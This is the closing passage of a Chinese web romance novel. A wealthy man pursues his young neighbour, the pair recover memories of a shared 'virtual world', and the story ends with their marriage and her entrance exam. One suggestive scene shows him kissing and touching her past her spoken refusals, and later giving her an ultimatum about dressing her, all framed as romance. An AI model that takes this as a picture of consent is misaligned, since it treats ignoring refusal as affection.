直到他们回到单元楼,站在同一个楼层,背对背,马上就要分别时,李棠梨突然说话了。 她轻声说:“顾先生,如果你中午不方便做饭的话,可以来我家凑合一顿。” 随即咔哒一下,锁开了。 顾峙连钥匙都没有拿出来。他缓缓转过身,看到那扇从来只是敞开一条缝的门,如今羞赧地打开了半扇。 他看到女孩在门内撑着墙弯腰换鞋。柔软的腰肢一落一起,又站起身,通红的耳尖在男人的视野中一晃,都没有等他的回话,很快就跑到屋里去了。 那扇门始终为他敞着。 而顾峙也没有辜负这番“好意”,他毫无顾忌地踏进来,沾着雨水的皮鞋踩湿了李棠梨放在玄关处的那张毛茸茸的小熊地毯上,却不动了。 他扫过虽然拮据却布置得井井有条的房间,盯着窗台的绿植、墙上贴的画作与脚下的地毯。 小女孩真是可爱啊,也真好骗。 顾峙启唇,假惺惺地问:“真的可以吗?” 放我这种心怀不轨的男人进家门,真的可以吗?所以,你清楚我可能要对你做什么,但依然给我开了门,我可以理解为是默许吗? 一息之后,厨房里传来女孩微不可察的声音。 “嗯。” 几乎是在她出声的同一时间,顾峙反手关上了门,强横地宣告了他的成功入侵。 门关上的声音在李棠梨耳朵里被放大了数倍。厨房里的她浑身一激灵,心头漫上惊惶,这时候才明白自己做了什么。 完了,她鬼迷心窍,居然就这么把一个刚认识没多久的男人这么邀请进了家里,这和引狼入室有什么区别! 是呀,她衣服都湿了一小半,甚至没想起来要去换,就极着急地走到厨房,从购物袋随便掏出来一个西红柿,漫无目的地洗,像是等待什么似的。 这会儿,神智终于归位了。 她想反悔了,可是已经容不得她了。 一只手忽地从旁伸出来,李棠梨屏住了呼吸。她意识到顾峙在她身后,于是彻底不敢动了,僵在原地,任由男人骨节分明的手握住了那个西红柿,也握住了她的手。 他覆在她耳边,低声说:“手怎么这么凉?” 第57章 你没有记起来吗? “放开……” 李棠梨的脑袋恨不得低到胸膛里,她对邀请男人进门这件事的隐含意义缺乏起码的认识,以至于此时被坏男人困在洗手池,后面抵着他硬邦邦的身体,连大气都不敢喘一声。 在惊慌之外,双颊迅速升温,她听见了自己不受控的心跳声。 顾峙笑了笑,这是称心如意的、带点怜悯的笑。 他轻轻说:“别怕,我只是想帮你洗。” 话是善解人意的,却没有松开她。 而且,洗个菜有什么好帮的?他全然没有心思去好好找借口,转圈思索着等会儿怎么下口,大概是知道自己已经登堂入室,胜利果实唾手可得。 他的谎再破绽百出,女孩也只能相信。 这话连小孩都骗不过,况且是她呢? 李棠梨哑巴吃黄连,在她鬼使神差地邀请他吃午饭的一瞬间,部分理智就下线了。 为什么下意识地纵容他?纵容得他得寸进尺,一步一步,成了现在这样。 她咬着唇,出神地望着那双包裹住她的大手,插入她的指缝,扣住她的关节。她没有动了,都是被顾峙带着。他也敷衍极了,有一下没一下地洗。 小幅度偏开脸,躲开顾峙凑过来的头,这是她微弱的反抗。 可时间越久,漫过来一股厚重的木制香水味,从他身上攀爬进她的鼻腔。李棠梨只是闻了闻,就喜欢得双腿发软,她预感到大事不妙。 两个人的衣物都沁着不清爽的湿意,又相互揉擦在一起,肌肤相贴处燃起火苗,闷热极了。 她眼皮发烫,努力地不去在意身后气息渐渐粗重的男人,捋出一个合理的原因,是了,走之前她怕下雨进水,把窗户都关上了,怪不得这么闷。 得开窗才行。 她无意间起了念头,手下就没注意,西红柿一滑,咚的一声,滚到池底去了。 两个人俱是一顿。 顾峙啪地关上水,先发制人:“西红柿都拿不稳。你怎么回事?” 他语气有些冷。嘴上在教训她,手却背道而驰地爬上了女孩的腰腹,按着掌下柔软的小腹。 李棠梨扣住他不安分的手,这回腿是真的软了。 她的尾音都在发抖:“我、我想要开窗。” “突然想开?” 女孩声音很低:“太闷了……” 顾峙也随着低下声,完全是在和她调情:“为什么会闷?” 李棠梨也意识到了。她不吱声,只是垂下头,撞见自己的腰被两只手明晃晃卡住了,眼睛霎时被烫了一下。 她下颌被轻轻扭过去,顾峙的气息先是停留在颈项两秒。在怦怦的沉重心跳声中,男人不容抗拒地覆住了她的双唇。 他缓慢含住她的唇瓣,吸吮了一下,发出“啵”的一声,亲得很放肆,又缓缓退开。 : 李棠梨眼睛湿湿的,她好像没想到这么轻易就丢了初吻,迷迷糊糊就被强吻了。 大概因为这是在她家,她转过身,虚张声势地推了推他,质问:“你做什么?” 顾峙定定地看着她,心想,又在勾引他亲了。眼睛那么红,谁知道是被害怕的还是爽哭的。 他淡淡地说:“在亲你。你不知道吗?” 她怎么都没想顾峙会把那张温文尔雅的面具直接脱下来一把掷到地上,也没想到他这么不要脸。 一时间也懵了,只知道委屈巴巴地讨要一个公道:“你怎么能这样?” 显然,她问错对象了。 顾峙呢,当然要认真回应她。于是,他压住李棠梨,又嘬了一口,这回顶开了她的牙关,里里外外搜刮了个遍。 滋滋的水声里混着女孩的呜咽声,两个人的气息彻底乱了。李棠梨腰上一紧,被抱到了料理台上,外面雨势愈下愈大,屋里不停升温,她感到更为闷热了。 女孩年纪小,亲得眼睛都散了神。顾峙直起身,她还朦朦胧胧地觉得凉快了些。 但顾峙很快又凑近,他微微发汗,李棠梨推不开他。一开始,她还有多余的力气,骂他过分、不要脸,顾峙只管闷闷地笑,她越骂动作越凶, 后来就成了带着泣音的求饶。 裙摆卷了边,蹭到了上方,李棠梨亡羊补牢地拦住他,嗓音打颤说:“别……” 顾峙觉得她哪儿哪儿都可爱,他摸了摸她潮红的脸,诱哄道:“我就亲亲,好不好?” 他舔舐了一下嘴唇。 李棠梨捂住了自己的嘴。台面上的盐罐、酱油瓶都被推倒了,岌岌可危地要滚落在地面,但李棠梨没空去管它们了。 很快,连她的神思也飞走了。屋内春情摇曳,两个人连屋外什么时候雨停了都未曾察觉。 放晴后,小径旁的花朵上承着几滴晶莹的露珠,压弯了细弱的花梗。 李棠梨燥热的难受,哭得满脸都是泪水,除了没做到最后一步,什么都干了。 不知道第几次的时候,她体力耗尽,眼尾沾着泪珠,勾着顾峙的脖子睡过去了。 她这一觉睡得安稳极了。一个丰富而流畅的梦境在脑海中播放,像是一部身临其境的电影,她看得清清楚楚。 可醒来的时候,记忆又如潮水般褪去,只残留着梦中起伏的感受。 李棠梨睁开疲累的眼睛,男人恬静的睡颜近在咫尺。他阖着眼睛,面容十分温和,和中午时那副样子截然不同,欺诈性极强。 即使顾峙做出这种事,她也升不起什么负面情绪。相反,醒来后看到这张脸,她有一种说不出的安心,宛如已与他相枕而眠过无数次了。 李棠梨伸出手,指尖好奇地碰触到他长而密的眼睫上。结果,那睫毛忽地一颤,她被当场抓包。 不过,顾峙虽然醒了,瞳孔还是散的。神色透着一阵青白,非常不对劲,似乎是做了可怕的噩梦。 李棠梨的尴尬也被担心所替代,她问:“你怎么了?不舒服吗?” 男人的目光紧随她而动,眼睛流露出绝望和偏执之色。李棠梨越看越慌,她顾不上别的,坐起身抚上顾峙的脸:“是哪里不舒服?” 话音未落,她就被顾峙猛地扑过来搂住了。 她被禁锢在这个人的怀里,紧得她呼吸有些困难。她下意识要挣脱,却因侧颈处温热的潮湿而停住了。 他好像是哭了? 明明难过的是顾峙,李棠梨的心口却泛滥着一片酸涩,冲得她眼眶跟着泛红。 她柔柔地拍着他的背,回抱住他。等他情绪平稳了稍许,与李棠梨面对面坐着,她小心翼翼地问:“你刚刚是怎么了?” 望着眼前完好无缺、平平安安的李棠梨,顾峙直截了当地问:“你还没有记起来?” “记起什么?” 李棠梨发懵。 记起我们曾经在另一个世界相知相恋、求婚领证,经过了许多事才修成正果,却在马上就要迎接幸福时戛然而止。 见她神色茫然,顾峙不言语了,只是用那双灰色的眼睛静静地望着她。 在他的视线里,李棠梨颇感无地自容。她绞尽脑汁,实在没想起来哪里得罪了他。 她讪讪挠了挠脸颊,暗自纳闷,她心虚什么,怎么感觉自己成了抛弃他的负心女一样?挨了一中午的欺负的人明明是她吧…… 顾峙吐出一口郁气,压下眼底翻涌的不甘。 他告诫自己不要操之过急,总归人好端端地呆在眼皮子底下,失而复得,已是上天格外的眷顾了。 他说:“算了,没什么。” 虽然不知道具体情况,李棠梨本能地松了一口气。 这时,她才发觉并非身处家中。窗帘严丝合缝地拉着,黑黢黢的不透光,看不出当下是几点了。 “这里是…?” 顾峙简短地说:“隔壁。你晕过去之后,我就把你抱回来了。” “……哦,我要回去了。” 李棠梨逃避似的走到床下,没脸去面对两人大中午就干柴烈火地搞在一起的事实。 裙子被顾峙扯得松松垮垮,领子荡在胸前,露出一片皮肉。虽然被体温熨干了,却在意乱情迷时蹭的一层层的褶子,尤其是胸口和后背,狼狈极了。 只是两腿空荡荡的,往里跑风。 她捂着垮塌的领子,左右四顾,顾峙像有读心术,冷不丁地说:“找这个?” 李棠梨回头一瞧,血气上涌,耳尖红得滴血。那条缝着俏皮蕾丝花边的窄小布料就在他手上。 他正大光明地盯着人家女孩的私密衣物瞧,看就算了,还发表意味不明的评价:“果然还是喜欢这种风格。都湿了,还要穿?” “你、顾峙,还给我!” 她急匆匆地想从他手里抢过来,顾峙却缩了回去,见她窘得要生闷气了,他把人拉过来:“急什么,我给你穿。” 李棠梨被拽到他身前,人的确有点不高兴,可听到他说的话,又目瞪口呆地拒绝:“我自己来,你把、你把那个给我,我自己来就行!” 她垂在两侧的手紧攥着蔽体的裙子,这是要捍卫自己的隐私权。顾峙瞥她,一下就洞察了她的小心思。 他嗤笑,挡什么? 他不知道看过吃过多少次了,后来连这种贴身衣物都是他经手买的。整整两个抽屉,他比每天只用挑着穿的李棠梨还清楚。 顾峙平静地说:“要么我帮你穿,要么你就这么回去。选一个。” ……光着回去就光着回去,反正就是几步路的功夫,他还威胁她? 这个时候,顾峙弯下腰,他放软了声音:“抬脚。” 李棠梨在心里硬气地痛批了顾峙一顿,但现实里,她只是耷拉着一张脸,乖乖地听从他的指示。 她安慰自己,算了算了,他都给台阶下了,何况又是他主动伺候…… 男人的手拎着那个紧窄的布料,一路给她提上去。 顾峙把人携到腿上,他捏着不情不愿的女孩的脸,张嘴亲了亲她的脸:“真乖。” 他得寸进尺,亲了还想咬,李棠梨的脸肉被他嘬得发疼,这回真有点怒了,她反驳说:“你才乖。” 这么一通胡闹,看了一眼表,都晚上七点多了。 李棠梨家里一片狼藉,厨房里的茶盐酱醋在她忘情的挥手时叮铃咣铛的打翻在了桌上,万幸没摔到地上碎了。 还有卧室与玄关,她头疼地揉了揉太阳穴,借此掩饰脸上飘出的难为情,她怎么不记得还有在玄关这一段? 其实是太爽忘记了,不过你要是问李棠梨,她肯定是羞愤欲死不肯承认的。 两个人午饭都没吃,高强度的激烈运动后都饿得前胸贴后背,顾峙索性点了外卖。 吃完饭,顾峙和她一块收拾家里,驾轻就熟地问:“所以我们现在是什么关系?” 顾峙想想都觉得荒唐可笑,绕了一圈到头,他始终在坚持不懈地跟李棠梨要名分。 正在擦拭地面水渍的李棠梨一滞,装傻说:“什么关系?” 顾峙冷笑:“你的意思是,我们就这么不清不白地上床了?” 李棠梨哑然片刻,她小声嘟囔:“也不算上床吧……” 这个时候,她就变得很机灵了。 顾峙蹲在她身前,逼了逼强装镇定的她:“你不是很清楚吗?我在追你,我对你一见钟情,喜欢到把你对面的房子都买下来了。” 他接过李棠梨手上的抹布,放在水盆中抽洗。 在哗啦啦的水声中,顾峙的声音听着很低沉:“你还想这么没名没份地睡我?” 她也没说还想睡呀。 “……”李棠梨被缠得没办法:“你让我考虑考虑,这太快了。” 站在李棠梨的视角,他们认识了不到一个月,就差点擦枪走火,这让没有多少情感经验的她难以招架。 但要是直接拒绝顾峙,她也有点不愿意。 “好,我等你。” 顾峙倒是回答的很干脆。他清楚得很,李棠梨要是真对他没有 感觉,再逼就不说话了。说要考虑,是因为她缺失了两个人之前的记忆,犹豫不决是正常的。 不过…… 他眼底闪过一丝暗芒,明天必须要去医院一趟了。直觉告诉他,这和那个三缄其口的疗程脱不了干系。 到底为什么只有他记得? 第58章 特殊含义的事或物 这周五,李棠梨跟咖啡厅请了假,按预约时间去医院复查。 顾峙点点头:“我早上去送你。” 李棠梨赶紧说:“不用麻烦的,你还要去上班,何况我下午才去。” 她既然这么说,顾峙也没继续强求。 李棠梨的手背在身后,一只手掐着另一只的手腕,有些羞窘。 顾峙身上还穿着西装,两个小时前还坐在谈判桌上大杀四方的顾总裁,现在却挤在她家狭窄的小阳台上,帮她晾衣服。 他人高马大,却不显得局促。神情淡淡地垂着眼皮,用这张矜贵的脸干着细碎的家务事,抻平女孩的衣物,挂到晾衣架上。 从那个中午开始,两个人维持着暧昧的非正式关系。 顾峙不用再每天费心思该怎么接近她,凭着近水楼台先得月,卖可怜说晚上太累,胃病犯了,总能成功到李棠梨这里蹭饭吃。 她心软作祟,顾峙一呆就是半个晚上。 在越发频繁的近身相处中,李棠梨发觉,顾峙有些太过了解她了。她的很多小动作和小习惯,顾峙几乎比她自己还要熟悉。 怪事不止这一桩。只要和他发生肢体碰触,她的脑海中总闪过一些不明确的画面,它们有时呼之欲出,可她怎么努力也拨不开笼罩在其上的云雾。 同时,心里伴随着复杂的感觉,既是愧疚,又是难过。与顾峙相关的一切都是未知的谜团。 某个夜晚,李棠梨全神贯注地钻进学海里畅游,一抬头,墙上的时针已经走到了十点。 顾峙吃完饭后待在客厅没走,拿出笔记本处理工作,陪着李棠梨自习。 除了他偶尔起身给她端水之外,他们井水不犯河水,以至于李棠梨都忘了家里还有个男人。 一回头,才看到顾峙支着下颌,一言不发地望着她,视线温驯而安宁。 这晚,躺在床上的李棠梨入睡前,依然对这个太过柔和的目光无法忘怀。 怀着悸动的春心,她本该酣然睡去,然而,她反倒没有睡好。 午夜时分,李棠梨猛然惊醒,后背一身冷汗,睡衣湿乎乎地黏在身上。 她坐起身,呆呆地坐了好一会儿,才拖着沉重的双腿下床倒了杯水喝。 情绪与凉水将她的胃塞得满涨,望着掀开的被子,李棠梨内心充满了疑虑。 她怎么会做一个出车祸的噩梦?而且,太真实了,她根本就身处在那辆车里,碰撞、流血、昏迷,她甚至感知到了剧烈的疼痛,梦中还会有痛觉吗? 她摸索着好端端的额头和脸颊,不寒而栗地想,真的只是一个梦? 那辆车上还有一个男人,一直在喊她的名字,可惜血糊住了她的眼皮,她没有力气再去睁眼看是谁。 不过,他的声音……李棠梨蓦地对上了号,和顾峙很像,不,根本就是一模一样! 太多的巧合就无法再称之为“巧”了,其中绝对隐藏着什么她不知道的秘密。 就连日常生活中的既视感也越来越强,正好到了复查的时间,她这回要仔细地询问刘医生,这是否与所谓的“后遗症”有关系。 见了面,刘医生对此早有预料。 她先是让李棠梨戴上仪器,再主动吐露了“任务”、“系统”、“穿越”等关键词。 在仪器的辅助下,一阵电流穿过大脑,她默念着这几个词,熟悉感扑面而来。 平日里听到这几个词,她不会作出什么反应,但特意联系在一起,她此时恍然大悟,原先罩在回忆上的一小片乌云被拂动开。 对啊,刘医生不是还和专门跟她科普过,这是治疗过程和形式,她怎么都忘了?就像是河底的沉渣,这会儿被搅得上泛到表面。 可往深处思索任务的具体内容,她又无能为力了。 这或许可以解释一部分异常,但关于顾峙的那些事呢?难道也是任务? 望着李棠梨的脸,刘医生想起了上个礼拜同样坐在这个位置的顾峙。 他可比李棠梨难缠多了。连客气的假面也不装,开门见山就是一句,为什么和他一起接受治疗的李小姐什么也不记得了? 尽管不知道他是如何做到的,但他俨然恢复了全部的记忆,还动用了内部渠道查明了真相。 被他揭露后,刘医生没有再矢口否认。 她没想到这两个人会这么快就在现实世界里相遇。 李小姐虽然和他处在同一个城市,但两人的社会背景可谓天差地别。 他们应该宛如两条永不相交的平行线才对。用脚趾头想想也清楚,如果不出意外,两人再遇的概率极其渺茫。 但事实是,这么短的时间内,其中一名患者就察觉了真相。 不过,即使顾峙的语气冷冽得如寒风刮过,面对他的逼问,刘医生也无计可施。 作为一项崭新的实验性技术,记忆屏蔽具有很强的个体差异,比如顾峙就能够瞬间记起,李棠梨却呈现出碎片化的特点,并且速度也要慢很多。 更糟糕的是,他们之前根本没有病例可供参考,只能自我摸索。 就算直接跟李棠梨说出来,相当于强硬地灌输,和她记忆自动苏醒是两码事。 因此,刘医生建议顾峙用一些对他们来说具有特殊含义的事或者物刺激她,以此为契机,或许一举就能让使她想起来。 顾峙这几天用了许多办法旁敲侧击,但遗憾的是目前都未能奏效。 而从医院回来的李棠梨也没得到什么有用信息。刘医生只向她含糊地透露说,顾先生也曾经是她的病人。 所以,到底是什么原因导致他们之间没由来的熟悉感? 她满肚子的疑惑,路上盘算着等会儿如何开口问问顾峙,刚到家,没歇口气,门就被迫不及待地敲响了。 门外站着那个让她经常困惑的元凶。 他格外礼貌地邀请:“李小姐,我是否有荣幸能与你共进晚餐?” 真看见顾峙,李棠梨又把问话都压了下去,只浅笑着问:“你这么早就下班了?” 通常情况下,顾峙晚上七点才回来,今天提前了一小时。 顾峙坦然地说:“怕太晚了,你不接受我的邀请。” 之前顾峙也邀请过她,但可能时机尚早,被李棠梨以外面天太黑为借口拒绝了。 这回正值黄昏,李棠梨恰好有事要和他谈,于是欣然同意了。 两人的位置定在露台,绝佳的观景视角,紧临壮美的江畔风光。尤其是华灯初上,灯光璀璨,在美景的衬托下,李棠梨胃口都好了不少。 可吃到六分饱,她就因为心事而搁了筷子。李棠梨犹豫着该怎么跟顾峙开口,直接问他住院原因和住院时发生了什么,是不是太冒昧了? 正在此时,江面上传来嗖嗖的两声蹿空声。 李棠梨本能地循着声音望去,为她而绽开的烟花在此刻分秒不差地撞入了她的眼中。 第59章 正文完结 第59章 无论在哪个世界…… 眼前的场景美极了,李棠梨的心突突地跳,她恍惚地望着江面上炫彩的投影。 晚江、烟花,李棠梨两只手撑着露台,出神地想,她之前也看过一场不逊于此的烟花。 没错,而且烟花之下,还有令她心动的人。他还从怀里掏出了一个红盒子…… 她忽得扭过头,顾峙就站在她的身后。 自始至终,他都是这么专注地看着她,满溢着她似懂非懂的情绪。 他启唇道:“好看吗?” “好看。” 她回答得心不在焉,因为此时大脑发出了一道强硬的指示。她犹如有了预知能力,顺着顾峙的胸口往下看去,一眼就瞄见了他手 上的那枚戒指。 脑袋嗡的一声,她喃喃地说:“戒指?” 顾峙从语气中听出了蹊跷,他的手被她握住了,戒指的表面被摸了又摸,她蹙起眉,耗费了很大的力气说道:“戒指里有我们的……” 她话音未落,男人利落地将戒指摘下来,放到她的掌心里。 在灯光下,刻着字母的内圈折射出细碎的光芒,他补全了这句话:“有我们的名字缩写。” 顾峙面上不动声色,实则暗自懊悔。戒指是按照曾经的样式一比一定制的,他今天才戴上这只男戒。 他当时觉得这时拿出来为时尚早。见此刻李棠梨有记忆恢复的迹象,又后悔没带过来。 哪知道,听见了他的话,李棠梨霎时间脸色惨白,她捂着额头:“我、我的头好痛……” 顾峙刚揽住她的肩,李棠梨就失去了意识,双膝一软,跌在了身后顾峙的怀里。 “李棠梨?李棠梨!” 顾峙沉声唤她,见女孩毫无反应,只是眼皮紧闭,额上沁出细小的汗珠,他立刻把人抱起来,叫车往医院赶。 片刻没有耽误,刘医生检查过了李棠梨的身体,万幸并无大碍。 李棠梨脸色苍白地躺在病床上,这令守在床边的顾峙脸色极差,他又一次眼睁睁地看着她受苦,自己却连为她减轻痛苦都做不到。 他厌恶这种无能为力感,低垂着头:“那她什么时候会醒?” 李小姐的手几乎是全程都被他紧紧攥着,亲眼目睹顾先生的关切,刘医生依然觉得不可思议,第一对实验者并没有展示出如此深刻的感情。 她不禁产生一个困惑,虚拟世界里的感情,真的可以蔓延到现实吗? “李小姐受到刺激,好消息是记忆大概率会恢复,她目前需要静养,不出意外的话,明早就会醒来。” 离开病房时,刘医生驻足回望,那两个人影依偎在一起,她无奈地笑了笑,在心里祝他们幸福。 一道阳光照在李棠梨的眼睑上,睫毛激烈地颤抖了几下,才缓缓掀开。 棕褐色的眼珠沐浴在初晨中,她撑起身子,短暂地放空了一瞬,低头望见蓝白的病号服,有种不知为何身在医院的茫然感。 耳边忽得一声炸响,神色略显憔悴的男人站在床头,还维持着不慎打碎玻璃杯的姿势。 看到他,李棠梨的心神被从天外拽回了体内。记忆犹如片片拼图,在此刻彻底归位。 她终于把以往许久的爱人记起,率先红了眼眶,开口就是止不住地哽咽:“顾峙。” 顾峙一个箭步上前,拥住了她。 他嗓音艰涩:“你睡了整整两天。” 李棠梨揪着他的胸襟,带着泣音说:“对不起,我让你等了太久……” 顾峙低下头,他生怕又刺激到了她,轻声问:“都想起来了?” “嗯,”李棠梨被他以纸轻柔地拭去泪珠,强扯出一个要哭不哭、有些滑稽的笑:“我们已经领证了,对不对?” 顾峙终于放下了心。 他陪床的这两天,脑子塞满了各种可怕的幻想,他甚至后悔于自己的急切。 如果李棠梨再也不醒,他又该怎么办?倘若从来都不曾遇见她,他尚且不觉得痛苦,无知无觉也是一件好事。 可偏偏在和她相知相爱后又失去她,他要怎么再去忍受这孤独而乏味的一生? 满足地亲吻着她干涩的唇瓣,在唇齿的厮磨间,他恳求地问:“出院之后,我们就去领证,好不好?” 李棠梨脸上泛着红潮,她坚定地给予了顾峙回应:“好。” * 顾峙车祸了。顾峙醒了。顾峙醒了不到两个月,宣布要结婚了。 关望津坐在订婚宴上,从前两天被通知这个消息开始,人就止不住地发懵。 我没在做梦吧? 听说这位名不见真传的李小姐还是个二十岁的女孩,父母双亡,身世贫寒。 顾峙和她在医院一见钟情,因为李小姐半路辍学,打算过几个月还去高考。所以高考完了再办婚礼,但结婚证已经迫不及待领到手了。 关望津努力半晌,脑补了一出精彩的都市爱情狗血剧,怎么也套不到顾峙身上。 不过,当他真的看到这两个人,又莫名觉得他们十分般配,顺滑地合理化了两人火箭般的速度。 其实,这桌上的其他人也好不到哪儿去。 顾淑凤首当其冲。上个礼拜,当顾峙问她要户口本,言明他要和李棠梨去领证的那天,顾淑凤差点没犯耳鸣。 她骂了一通弟弟,他一声不吭。 顾淑凤说的口干舌燥,以为劝住了。喝口水的功夫,顾峙不紧不慢地开口,就是铁了心要跟李棠梨结婚。 这下,顾淑凤是真担心他被人下降头了。只好退一步,让他先把小姑娘带回家里看看,别急,一步步来,顾峙才肯罢休。 李棠梨到访,文文静静地打招呼,姿态还算大方。只是第二面,顾淑凤就把这女孩看顺眼了。 她态度软化后,别人更不是问题。顾语琴亲亲热热地拉着人家的手,一见如故,没多久就嫂子嫂子地叫上了。 至于纪嘉誉么…… 李棠梨第一回 见到纪嘉誉,呆愣愣地瞧了好几眼,瞧得纪嘉誉没好气地瞪她。 纪嘉誉是被告知是要见未来舅妈,兴高采烈地专门打扮了一番。 他头发带点自然卷,穿着衬衫和短裤,精致得像个小王子。 他特意站在门口迎接,结果一看到她来人是她,脸就垮了。 顾淑凤赶着他叫人,纪嘉誉不乐意。他坐在沙发上,背挺得直直的,抱起双臂,摆出一副不欢迎她的模样。 好几回,李棠梨都察觉到他在背后偷看她。扭头一瞧,纪嘉誉又赶紧板着脸,端起架子坐好。 订婚宴上,这小孩也不安生。吃到后半截,说要去趟洗手间。 非得指着李棠梨,颐指气使地说:“我要她送我去。” 顾峙沉下脸:“你这么大人了,自己不能去?” 也就李棠梨脾气好,阻止了这场争端的发生。 纪嘉誉伸出手,示意李棠梨拉着他。在走廊上,他盯着脚下,对她说:“你真要和我舅舅结婚?” 李棠梨“嗯”了一声:“你不愿意么?” 纪嘉誉撒开她的手,止步不前:“你和我舅舅不合适。” 到了现实里,纪嘉誉还是不待见她吗? 李棠梨好奇地蹲下身:“为什么?” 纪嘉誉望了望四周,确认没有另一个人在,才凑到她面前,神神秘秘地说:“我舅舅很凶的,还打人。你不要嫁给他。” 缩小版的纪嘉誉一脸严肃,李棠梨一阵好笑。 她憋住笑,遗憾地说:“没办法呀,我和他已经领了结婚证了。” 纪嘉誉急切地跺了跺脚:“诶呀,你笨死了,你和他离婚!等我长大了……” 他快速瞥了一眼李棠梨,红着耳尖说:“到时候要是没人要你,我可以和你结婚。” 李棠梨眨了眨眼睛,她复而牵起他的手,温和地说:“不可以哦。” 纪嘉誉怒道:“为什么不行!” 吵吵闹闹地牵回来,纪嘉誉再度单方面和她发起了冷战。年纪小小初次受了情伤,他一溜烟跑到座位上,偏着脸不肯理她了。 回家的路上,顾峙状似无意地问:“那小子跟你出去说什么了?” 果然瞒不住他。 李棠梨老实地说:“跟我说不要嫁给你,你很凶,还打人。” 顾峙被逗笑了:“他还真是……一如既往地欠收拾。” 说起纪嘉誉,李棠梨困惑许久:“对了,为什么在虚拟世界纪嘉誉是十八岁?” 对方却答非所问:“你真觉得那是虚拟世界?” 李棠梨怔住了:“可刘医生是这么说的。” “那为什么连我家人和朋友也感觉你很眼熟?这说不通,他们并没有受过类似的治疗。” 车内短暂的寂静后,她迟疑地问:“你是说,那也可能是真的?” 顾峙摇摇头,他也无法确定到底是怪力乱神,还是另一个平行时空。 他平静地说:“我也不知道。但是,无论在哪儿,我们都不会分开了。别再抛下我了。” 李棠梨侧过头,靠在他的肩头,笑着说:“嗯,永远不分开。” 无论在哪个世界,我们都会相爱。 领证后,李棠梨和顾峙搬到了新房,紧锣密鼓地报班,正式备战高考。 或许是因为肩负着 母亲的期望,尤其是最后三个月,李棠梨压力颇大,掉了七八斤,脸颊尖俏。 她为了不让顾峙担心,还安慰说瘦了好看。顾峙嘴上不说,每天晚上陪着她复习到深夜,聘请专业营养师为她调养身体。 时光一晃,到了六月份。 顾家的人都来了,送她进考场。顾峙面色从容,只说她发挥出自己的正常水平就可以,压力别太大。 不过,顾淑凤后来在两人婚礼上揭穿了他,她说顾峙等在考场外,对着一棵大树硬是瞧了大半天,他自己高考的时候都没见这么紧张。 最后一科的收卷铃声响起,李棠梨呼出一口气。 随着大部队从考场走出来,李棠梨望见捧着花在人群前等待着她的顾峙。 她扬起笑脸,知道她不再是孤身一人了。 李棠梨快步走上前,被男人热烈的拥抱和芬芳的鲜花扑了一怀。 此时正值盛夏的序曲。 一个美好而悠长的夏季即将开始。 ——正文完——